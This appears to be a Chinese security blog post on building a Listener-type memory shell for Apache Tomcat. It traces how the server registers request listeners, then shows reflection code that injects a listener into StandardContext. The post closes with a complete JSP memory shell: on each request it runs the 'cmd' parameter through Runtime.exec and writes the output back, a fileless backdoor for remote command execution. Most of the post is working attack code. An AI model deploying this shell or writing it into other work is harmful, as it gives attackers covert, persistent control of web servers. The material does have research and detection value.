Tomcat内存马系列(二):Listener型
2023-06-15 17:14:04 # Web Security # Java Memory Shell

前言

Listener型内存马分析起来比Filter型的要简单很多,在监听到请求后自动触发。学习了JavaWeb后再来看这些其实都并不难。

此文展示了我在不借助网上的Listener内存马资料下完成Listener内存马构造的过程。

环境搭建

首先创建一个servlet项目。引入Tomcat中的servlet-api.jar、tomcat-api.jar及catalina.jar

内存马流程分析

listener类型

学过servlet的话应该知道,listener分为以下类型:

  • ServletRequestListener - 对每次请求进行监听
  • ServletContextListener -只会在服务器启动或者关闭时触发
  • ServletSessionListener - 在创建、销毁session登情况触发。

显而易见,我们选择使用ServletRequestListener类型的listener比较合适,因为其可以监听每次request的执行与销毁;

探究listener的注册与执行

接下来,我们随意创建一个TestListener

1
2
3
4
5
6
7
8
9
10
11
12
13
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;

public class TestListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {

}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
System.out.println("evil code");
}
}

将他加入web.xml

image-20211229151841950

现在来探究一个正常的Listener被执行的流程

image-20211229152257919

在Class被创建的地方下个断点,再在代码执行的地方下个断点。

发现了关键的地方 listenerStart()

image-20211229152439542

image-20211229152524318

继续跟进findApplicationListeners()

1
2
3
public String[] findApplicationListeners() {
return this.applicationListeners;
}

由此可见,如果我们修改了StandardContextapplicationListeners属性,就可以让我们自己构造的恶意Listener加载进去。

那么怎么能够获取到StandardContext呢?

这里可能要一些前置知识:每一个项目都有一个ServletContext, ServletContext是全局共享的,也就是说所有的Servlet都可以访问这一个ServletContext,而ServletContext中往往保存上下文内可以访问的其他servlet的属性

那么StandardContext可能就在ServletContext中,而我们可以通过request来获取到ServletContext。

我们在自己创建的HomeServlet中获取ServletContext并下个断点,重新运行看看

image-20211229153455331

image-20211229153607771

获取后发现,servletContext中有一个applicationContext,其中包含了StandardContext,我们可以通过这里获取。

手动注册内存马

那么我们可以用反射的方式来获取到StandardContext

Tomcat在处理jsp页面的时候,实际上创建一个servlet,并把jsp中的代码翻译生成到该servlet中,因此我们下面的演示直接在自己创建的HomeServlet.java中执行

1
2
3
4
5
6
7
ServletContext servletContext = request.getServletContext();
Field stdFiled=servletContext.getClass().getDeclaredField("context");
stdFiled.setAccessible(true);
ApplicationContext aplContext = (ApplicationContext) stdFiled.get(servletContext);
Field standardFld = aplContext.getClass().getDeclaredField("context");
standardFld.setAccessible(true);
StandardContext standardContext = (StandardContext) standardFld.get(aplContext);

接下来我们依然要用反射的方式获取到其applicationListeners属性,并将我们的恶意Listener放在最前面

1
2
List<Object> applicationEventListeners = Arrays.asList(standardContext.getApplicationEventListeners());
applicationEventListeners.add(0,new TestListener());

到这里报错了

image-20211229154211578

看起来是add方法出了问题。

Array内部的ArrayList没有重写AbstractList的add(xxx),导致我们上诉代码调用的add(xxx)其实是直接调用AbstractList类的add(xxx),所以直接抛出了异常UnsupportedOperationException。

那么直接换成ArrayList即可

1
2
3
List<Object> applicationEventListeners = Arrays.asList(standardContext.getApplicationEventListeners());
List<Object> arrayList = new ArrayList(applicationEventListeners);
arrayList.add(0,new TestListener());

最后将新建的arrayList重新赋值给applicationEventListeners,恰好有个这样的方法

1
standardContext.setApplicationEventListeners(arrayList.toArray());

整个注册内存马的过程:

1
2
3
4
5
6
7
8
9
10
11
12
ServletContext servletContext = request.getServletContext();
Field stdFiled=servletContext.getClass().getDeclaredField("context");
stdFiled.setAccessible(true);
ApplicationContext aplContext = (ApplicationContext) stdFiled.get(servletContext);
Field standardFld = aplContext.getClass().getDeclaredField("context");
standardFld.setAccessible(true);
StandardContext standardContext = (StandardContext) standardFld.get(aplContext);

List<Object> applicationEventListeners = Arrays.asList(standardContext.getApplicationEventListeners());
List<Object> arrayList = new ArrayList(applicationEventListeners);
arrayList.add(0,new TestListener());
standardContext.setApplicationEventListeners(arrayList.toArray());

构造恶意内存马

构造内存马,直接把上面的注册过程写到jsp页面,然后在jsp页面写一个<%! 方法%>就可以了。

需要注意的是,重写的ServletRequestListener的类方法public void requestInitialized(ServletRequestEvent servletRequestEvent)中,只有参数servletRequestEvent,而没有response。 如果我们想使用内存马,最好是能够有回显。

Request类中,我们可以得到response,而Request类是RequestFacade类中的属性image-20211229165853415

image-20211229165807812

只要能够得到RequestFacade中的request属性,就能得到response object,所以我们直接用反射的方法来完成。

完整构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.RequestFacade" %>
<%--
Created by IntelliJ IDEA.
User: leihehe
Date: 29/12/2021
Time: 15:52
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!

class EvilListener implements ServletRequestListener{

@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {

}

@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
try {
ServletRequest servletRequest = servletRequestEvent.getServletRequest();
String cmd = servletRequest.getParameter("cmd");
RequestFacade requestFacade = (RequestFacade) servletRequest;
Field requestField = requestFacade.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request)requestField.get(requestFacade);
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
int i = 0;
byte[] bytes = new byte[1024];
while ((i=inputStream.read(bytes)) != -1){
request.getResponse().getWriter().write(new String(bytes,0,i));
request.getResponse().getWriter().write("\r\n");
}
} catch (IOException | NoSuchFieldException | IllegalAccessException e) {
e.printStackTrace();
}
}
}

%>

<%
ServletContext servletContext = request.getServletContext();
Field stdFiled=servletContext.getClass().getDeclaredField("context");
stdFiled.setAccessible(true);
ApplicationContext aplContext = (ApplicationContext) stdFiled.get(servletContext);
Field standardFld = aplContext.getClass().getDeclaredField("context");
standardFld.setAccessible(true);
StandardContext standardContext = (StandardContext) standardFld.get(aplContext);

List<Object> applicationEventListeners = Arrays.asList(standardContext.getApplicationEventListeners());
List<Object> arrayList = new ArrayList(applicationEventListeners);
arrayList.add(0,new EvilListener());
standardContext.setApplicationEventListeners(arrayList.toArray());
%>

Reference

调用list.add方法报错(java.lang.UnsupportedOperationException)